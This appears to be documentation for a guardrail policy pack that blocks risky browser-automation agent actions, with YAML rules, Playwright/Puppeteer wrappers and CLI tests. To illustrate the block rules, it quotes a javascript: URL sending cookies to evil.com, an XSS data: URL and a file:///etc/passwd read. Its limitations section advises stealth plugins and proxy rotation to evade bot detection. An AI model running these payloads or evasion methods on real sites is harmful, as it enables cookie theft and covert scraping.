Browser Automation Pack

Overview

The Browser Automation pack provides safety guardrails for AI agents that control web browsers, perform web scraping, or automate web interactions. It prevents navigation to dangerous URLs, blocks password field interactions, and requires approval for form submissions. Use this pack for:

Web scraping agents
Browser automation tools (Playwright, Puppeteer, Selenium)
RPA (Robotic Process Automation) systems
Testing agents
Data extraction tools

Complete Policy

browser-automation.yaml

version: "1.0"
name: browser-automation-pack
description: Safety defaults for browser automation agents.
rules:
  - id: browser-automation-block-malicious-urls
    name: Block malicious URL navigation
    description: Prevent navigation to dangerous URL schemes and loopback targets.
    enabled: true
    severity: critical
    action: block
    tools:
      - navigate
      - goto
      - open_url
    condition_groups:
      - - field: arguments.url
          operator: starts_with
          value: "javascript:"
      - - field: arguments.url
          operator: starts_with
          value: "data:"
      - - field: arguments.url
          operator: starts_with
          value: "file:"
      - - field: arguments.url
          operator: contains
          value: localhost
      - - field: arguments.url
          operator: contains
          value: 127.0.0.1

  - id: browser-automation-block-password-input
    name: Block password field input
    description: Prevent automation from typing into password fields.
    enabled: true
    severity: high
    action: block
    tools:
      - type
      - fill
      - input_text
    condition_groups:
      - - field: arguments.selector
          operator: contains
          value: password
      - - field: arguments.field
          operator: contains
          value: password
      - - field: arguments.name
          operator: contains
          value: password

  - id: browser-automation-block-form-submissions
    name: Block automated form submission
    description: Prevent direct submission actions in browser flows.
    enabled: true
    severity: high
    action: require_approval
    tools:
      - click
      - submit_form
      - press_key
    condition_groups:
      - - field: arguments.selector
          operator: contains
          value: 'type="submit"'
      - - field: arguments.selector
          operator: contains
          value: button[type=submit]
      - - field: arguments.key
          operator: equals
          value: Enter

Rules Explained

Rule ID: browser-automation-block-malicious-urls What it does: Prevents the browser from navigating to dangerous URL schemes and local network addresses. Blocked URL patterns:

javascript: - Execute JavaScript in the page context
data: - Data URLs (can contain malicious scripts)
file: - Local filesystem access
URLs containing localhost - Local server access
URLs containing 127.0.0.1 - Loopback address

Why it’s important: JavaScript URLs allow arbitrary code execution:

// This could steal cookies, modify page content, etc.
await navigate({ url: "javascript:document.location='http://evil.com?cookie='+document.cookie" });
// BLOCKED

Data URLs can contain malicious HTML/JavaScript:

await goto({ url: "data:text/html,<script>alert('XSS')</script>" });
// BLOCKED

File URLs access local filesystem:

await openUrl({ url: "file:///etc/passwd" });
// BLOCKED

Localhost/127.0.0.1 can access internal services:

// Could access internal admin panels, databases, etc.
await navigate({ url: "http://localhost:8080/admin" });
// BLOCKED

Example safe navigation:

// These are allowed:
await navigate({ url: "https://example.com" });
await goto({ url: "https://api.stripe.com/v1/charges" });

2. Block Password Field Input

Rule ID: browser-automation-block-password-input What it does: Prevents typing into password fields. Detection methods:

Selector contains password (e.g., input[type="password"])
Field name contains password
Attribute name contains password

Why it’s important:

Security risk - AI agents should never handle user passwords
Credential theft - Prevents accidental credential exposure in logs
Compliance - Violates security best practices (PCI DSS, SOC 2)

Example blocked calls:

// All of these are blocked:
await type({ 
  selector: 'input[type="password"]', 
  text: 'user_password_123' 
});

await fill({ 
  field: 'password', 
  value: 'secret123' 
});

await inputText({ 
  name: 'user_password', 
  text: 'mypassword' 
});

When you need password input: For legitimate testing scenarios, use secure credential storage:

rules:
  - id: browser-automation-block-password-input
    enabled: false  # Disable for test environments only

Then use environment variables:

const testPassword = process.env.TEST_USER_PASSWORD;
await fill({ selector: 'input[type="password"]', value: testPassword });

3. Block Automated Form Submission

Rule ID: browser-automation-block-form-submissions What it does: Requires human approval before submitting forms or pressing Enter. Detected patterns:

Clicking submit buttons (type="submit")
Clicking buttons with selector button[type=submit]
Pressing the Enter key

Why it’s important:

Irreversible actions - Form submissions often trigger payments, orders, data deletion
Data integrity - Prevents submitting incomplete/incorrect forms
Rate limiting - Avoids triggering anti-bot protections
Legal compliance - Ensures human oversight for legally binding actions

Example approval flow:

// This requires approval:
await click({ selector: 'button[type="submit"]' });

// User sees:
// "Approve form submission?"
// - Form action: POST /checkout
// - Fields: {email: '[email protected]', amount: '$100'}
// [Approve] [Reject]

Allowing safe clicks: Non-submit buttons and links are still allowed:

// These don't require approval:
await click({ selector: '.load-more-button' });
await click({ selector: 'a[href="/introduction"]' });
await click({ selector: 'button.close-modal' });

Usage Example

Basic Setup

veto.config.yaml

version: "1.0"
extends: "@veto/browser-automation"

mode: "strict"

# Configure approval for form submissions
approval:
  callbackUrl: "https://your-approval-service.com/approve"
  timeout: 30000  # 30 seconds
  timeoutBehavior: "block"

With Playwright

import { chromium } from 'playwright';
import { Veto } from 'veto-sdk';

const veto = await Veto.init();

const browserTools = [
  {
    name: 'navigate',
    description: 'Navigate to a URL',
    handler: async ({ url }: { url: string }) => {
      const browser = await chromium.launch();
      const page = await browser.newPage();
      await page.goto(url);
      const title = await page.title();
      await browser.close();
      return { title, url };
    },
  },
  {
    name: 'fill',
    description: 'Fill a form field',
    handler: async ({ selector, value }: { selector: string; value: string }) => {
      const page = await getPage();  // Your page management logic
      await page.fill(selector, value);
      return { success: true };
    },
  },
  {
    name: 'click',
    description: 'Click an element',
    handler: async ({ selector }: { selector: string }) => {
      const page = await getPage();
      await page.click(selector);
      return { success: true };
    },
  },
];

const wrappedTools = veto.wrap(browserTools);

// Use with your AI agent
// Dangerous navigations are blocked
// Form submissions require approval

With Puppeteer

import puppeteer from 'puppeteer';
import { Veto } from 'veto-sdk';

const veto = await Veto.init();

const puppeteerTools = [
  {
    name: 'goto',
    handler: async ({ url }: { url: string }) => {
      const browser = await puppeteer.launch();
      const page = await browser.newPage();
      await page.goto(url);
      const content = await page.content();
      await browser.close();
      return { content };
    },
  },
  {
    name: 'type',
    handler: async ({ selector, text }: { selector: string; text: string }) => {
      const page = await getCurrentPage();
      await page.type(selector, text);
      return { success: true };
    },
  },
];

const wrappedTools = veto.wrap(puppeteerTools);

Customization

Allow Localhost for Testing

If your agent tests local development servers:

rules:
  - id: browser-automation-block-malicious-urls
    # Override to only block javascript: and data: URLs
    condition_groups:
      - - field: arguments.url
          operator: starts_with
          value: "javascript:"
      - - field: arguments.url
          operator: starts_with
          value: "data:"
      # Remove localhost/127.0.0.1 checks

Allow Specific Domains Only

Restrict navigation to trusted domains:

rules:
  - id: custom-allow-trusted-domains-only
    name: Only allow trusted domains
    action: block
    severity: high
    tools:
      - navigate
      - goto
      - open_url
    conditions:
      - field: arguments.url
        operator: not_matches
        value: '^https://(www\\.)?(example\\.com|trusted\\.org|api\\.stripe\\.com)'

Auto-Allow Form Submissions for Read-Only Sites

If scraping public data that doesn’t have consequences:

rules:
  - id: browser-automation-block-form-submissions
    # Change to "warn" instead of "require_approval"
    action: warn
    severity: medium

Add Download Protection

Prevent downloading potentially malicious files:

rules:
  - id: custom-block-executable-downloads
    name: Block executable file downloads
    action: block
    severity: critical
    tools:
      - download_file
      - save_file
    condition_groups:
      - - field: arguments.url
          operator: ends_with
          value: ".exe"
      - - field: arguments.url
          operator: ends_with
          value: ".sh"
      - - field: arguments.url
          operator: ends_with
          value: ".bat"

Prevent excessive requests that might trigger anti-bot protections:

rules:
  - id: custom-rate-limit-navigation
    name: Rate limit page navigation
    action: require_approval
    severity: medium
    tools:
      - navigate
      - goto
    blocked_by:
      - tool: navigate
        within: 1  # 1 second
      - tool: goto
        within: 1

Real-World Scenarios

E-commerce Price Scraper

const scrapingAgent = [
  {
    name: 'navigate',
    handler: async ({ url }) => {
      const page = await getPage();
      await page.goto(url);
      return { success: true };
    },
  },
  {
    name: 'extract_prices',
    handler: async ({ selector }) => {
      const page = await getPage();
      const prices = await page.$$eval(selector, els => 
        els.map(el => el.textContent)
      );
      return { prices };
    },
  },
];

const wrappedTools = veto.wrap(scrapingAgent);
// Navigates only to HTTPS URLs (javascript: and file: blocked)
// No password fields or form submissions needed

Automated Testing Agent

custom-testing-rules.yaml

version: "1.0"
extends: "@veto/browser-automation"

rules:
  # Allow localhost for test environments
  - id: browser-automation-block-malicious-urls
    condition_groups:
      - - field: arguments.url
          operator: starts_with
          value: "javascript:"
      - - field: arguments.url
          operator: starts_with
          value: "data:"
  
  # Allow password input (using test credentials)
  - id: browser-automation-block-password-input
    enabled: false
  
  # Keep form submission approval for production-like tests
  - id: browser-automation-block-form-submissions
    action: require_approval

Job Application Bot

job-application-rules.yaml

version: "1.0"
extends: "@veto/browser-automation"

rules:
  # Require approval before submitting ANY form
  - id: browser-automation-block-form-submissions
    action: require_approval
  
  # Block password input (should use OAuth/saved sessions)
  - id: browser-automation-block-password-input
    action: block
  
  # Limit to job board domains
  - id: custom-allow-job-boards-only
    name: Only allow trusted job board domains
    action: block
    tools:
      - navigate
    conditions:
      - field: arguments.url
        operator: not_matches
        value: '^https://(www\\.)?(linkedin\\.com|indeed\\.com|glassdoor\\.com)'

Testing

# Test malicious URL block
npx veto-cli guard check \
  --tool navigate \
  --args '{"url": "javascript:alert(1)"}' \
  --json

# Output:
# {
#   "action": "deny",
#   "rule": "browser-automation-block-malicious-urls"
# }

# Test password field block
npx veto-cli guard check \
  --tool fill \
  --args '{"selector": "input[type=password]", "value": "test123"}' \
  --json

# Output:
# {
#   "action": "deny",
#   "rule": "browser-automation-block-password-input"
# }

# Test form submission approval
npx veto-cli guard check \
  --tool click \
  --args '{"selector": "button[type=submit]"}' \
  --json

# Output:
# {
#   "action": "require_approval",
#   "rule": "browser-automation-block-form-submissions"
# }

# Test safe navigation (should allow)
npx veto-cli guard check \
  --tool navigate \
  --args '{"url": "https://example.com"}' \
  --json

# Output:
# {
#   "action": "allow"
# }

Limitations

This pack provides basic safety guardrails, not comprehensive bot protection. It does NOT prevent:

CAPTCHA bypass - Agents can still encounter CAPTCHAs
IP bans - Rate limiting should be implemented separately
Browser fingerprinting - Websites can still detect automation
Cookie theft - Malicious extensions or XSS can still steal cookies
Screenshot exfiltration - Agents can still take/leak screenshots

For production web automation:

Use residential proxies or proxy rotation
Implement request throttling
Randomize user agents and browser settings
Use stealth plugins (puppeteer-extra-plugin-stealth)
Monitor for detection signals

Policy Pack Overview

Learn about all available policy packs

Communication Pack

Additional protection for messaging during automation

Human-in-the-Loop Guide

Set up approval workflows for form submissions

Playwright Integration

Complete guide for Playwright + Veto

Get Started

Core Concepts

SDKs

Integrations

Policy Packs

Guides

Browser Automation Pack

Overview

Complete Policy

Rules Explained

1. Block Malicious URL Navigation

2. Block Password Field Input

3. Block Automated Form Submission

Usage Example

Basic Setup

With Playwright

With Puppeteer

Customization

Allow Localhost for Testing

Allow Specific Domains Only

Auto-Allow Form Submissions for Read-Only Sites

Add Download Protection

Rate Limit Navigation

Real-World Scenarios

E-commerce Price Scraper

Automated Testing Agent

Job Application Bot

Testing

Limitations

Policy Pack Overview

Communication Pack

Human-in-the-Loop Guide

Playwright Integration

Build docs developers (and LLMs) love

Get Started

Core Concepts

SDKs

Integrations

Policy Packs

Guides

​Overview

​Complete Policy

​Rules Explained

​1. Block Malicious URL Navigation

​2. Block Password Field Input

​3. Block Automated Form Submission

​Usage Example

​Basic Setup

​With Playwright

​With Puppeteer

​Customization

​Allow Localhost for Testing

​Allow Specific Domains Only

​Auto-Allow Form Submissions for Read-Only Sites

​Add Download Protection

​Rate Limit Navigation

​Real-World Scenarios

​E-commerce Price Scraper

​Automated Testing Agent

​Job Application Bot

​Testing

​Limitations

​Related Resources

Policy Pack Overview

Communication Pack

Human-in-the-Loop Guide

Playwright Integration

Build docs developers (and LLMs) love

Overview

Complete Policy

Rules Explained

1. Block Malicious URL Navigation

2. Block Password Field Input

3. Block Automated Form Submission

Usage Example

Basic Setup

With Playwright

With Puppeteer

Customization

Allow Localhost for Testing

Allow Specific Domains Only

Auto-Allow Form Submissions for Read-Only Sites

Add Download Protection

Rate Limit Navigation

Real-World Scenarios

E-commerce Price Scraper

Automated Testing Agent

Job Application Bot

Testing

Limitations

Related Resources